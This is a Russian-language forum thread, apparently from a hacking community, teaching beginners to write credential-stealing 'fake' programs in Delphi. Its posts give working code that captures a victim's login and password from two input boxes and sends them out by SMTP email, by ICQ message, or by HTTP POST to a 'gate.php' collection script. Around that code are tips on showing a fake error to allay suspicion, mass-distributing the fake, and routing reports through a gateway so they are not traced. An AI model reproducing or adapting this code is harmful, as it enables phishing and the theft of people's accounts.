Фейк на дельфи своими руками Недавно стал изучать дельфи,получилось написать пару фейков. Статей на эту тему не увидел,на все что наткнулся было PHP Что нам нужно Indy Если хотим слать на мыло TICQClient Если хотим слать на ICQ Сильно не пинать,моя первая статья и полностью рассчитана для новичков. На мыло Кидаем батон,2 эдита,и из инди IdMessage IdSMTP IdAntiFreeze На кнопку прописываем код IdSMTP1.Host:=('smtp.yandex.ru') ;//smtp сервер мыла.В данном примере для яндекса IdSMTP1.port:=25 ;//порт IdSMTP1.Username:=('Username') ;//Имя пользователя IdSMTP1.password:=('Password') ;//Пароль IdMessage1.Body.Text:=(Edit1.text+';'+edit2.text);//Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить. IdMessage1.from.text:=('[email protected]');//От кого шлем IdMessage1.Recipients.Emailaddresses:=('[email protected]'); //кому шлем IdMessage1.Subject:='Fake' ;//тема письма IdSMTP1.connect ;//соединяемся IdSMTP1.Send(idmessage1);//шлем IdSMTP1.disconnect ;//Разъединяемся. Для большей правдоподобности можно добавить MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п. На Аську ну тут все проще Кидаем батон,2 эдита,и ICQClient1 из вкладки Samples На кнопку ICQClient1.UIN:=strtoint(Uin); // UIN ICQClient1.Password:= Password; // Пароль ICQClient1.Login();//Логинимся Sleep (10000);//ждем когда залогинится ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем Чтобы жертва не тарабанила по кнопке,можно прописать в конце Button1.Enabled:=False; Это должно отключить кнопку ну и до этого опять добавит какое нибудь сообщение,как это сделать смотрим выше.
Зачем ждать 10 сек, если есть событие при подключение Дополни отправкой на гейт, +отправка файлов на гейт И все это по сокету
Я ничего не имею против ТС, но фейки которы шлют отчеты на мыло и Ацку не актуальны. 1. Чтобы посмотреть 1 отчет нужно открыть письмо... А если 1000 отчетов? Можно конечно это дело автоматизировать, но есть более простые варианты реализации. 2. Если впаривать фейк который работает по ICQ протоколу, то возникает несколько проблем. Если уже фейк запущен у жертвы, то от другой жертвы уже отчет не придет. Если массово впарить фейк, то при коннекте дисконекте нум получит блок на N-ый промежуток времени. Вывод слать отчеты на гейт и не париться! Желательно через шлюз, т.е. шлюз принял отчет и переслал в БД, это на тот случай если фейк заснифают...
Если у кого то приходит вместо текста ????????? то добавте этот код IdMessage1.CharSet:='windows-1251';
Для того того что бы отчёты на аську слать, нужно еще установить компонент ICQClient Скачать его можно здесь (пост 22).
по моeму лучшe в дaнном случae нe инди использовaть, a synapse, мeнee гeморойно. И по моему если ты накидаешь столько компонентов то у тебя будет мегавесомая программа
Всем привет)Я в етой теме вообще полный 0....Кто может меня научить делать фейки напишыте в личку)Буду очень благодарен)и в долгу не останусь.
На гейт (на скрипт) Кидаем батон,2 эдита,и IdHTTP1 из вкладки IndyClients в uses добавляем IdMultipartFormData На кнопку Code: var LPostStream: TIdMultiPartFormDataStream; LResultString: String; begin LPostStream := TIdMultiPartFormDataStream.Create; try LPostStream.AddFormField('login', Edit1.text); //пихаем в параметр логин LPostStream.AddFormField('pass', Edit2.text);//пихаем в параметр пароль try LResultString := IdHTTP.Post('http://www.myhost.ru/gate.php', LPostStream); {LResultString - ответ сервера, если он вам нужен} except end; finally LPostStream.Free; end; end; А вообще если уж решили писать фейк на дельфи то Indy не используйте... какой там фаервол, индейцы и без него иной раз отправить немогут, например когда инет работает через прокси.
как сделать фэйк на делфи исходник фэйк вконтакте для гугла пойдет )) надо было добавить в заголовок: исходники фэйка как сделать фэйк на делфи
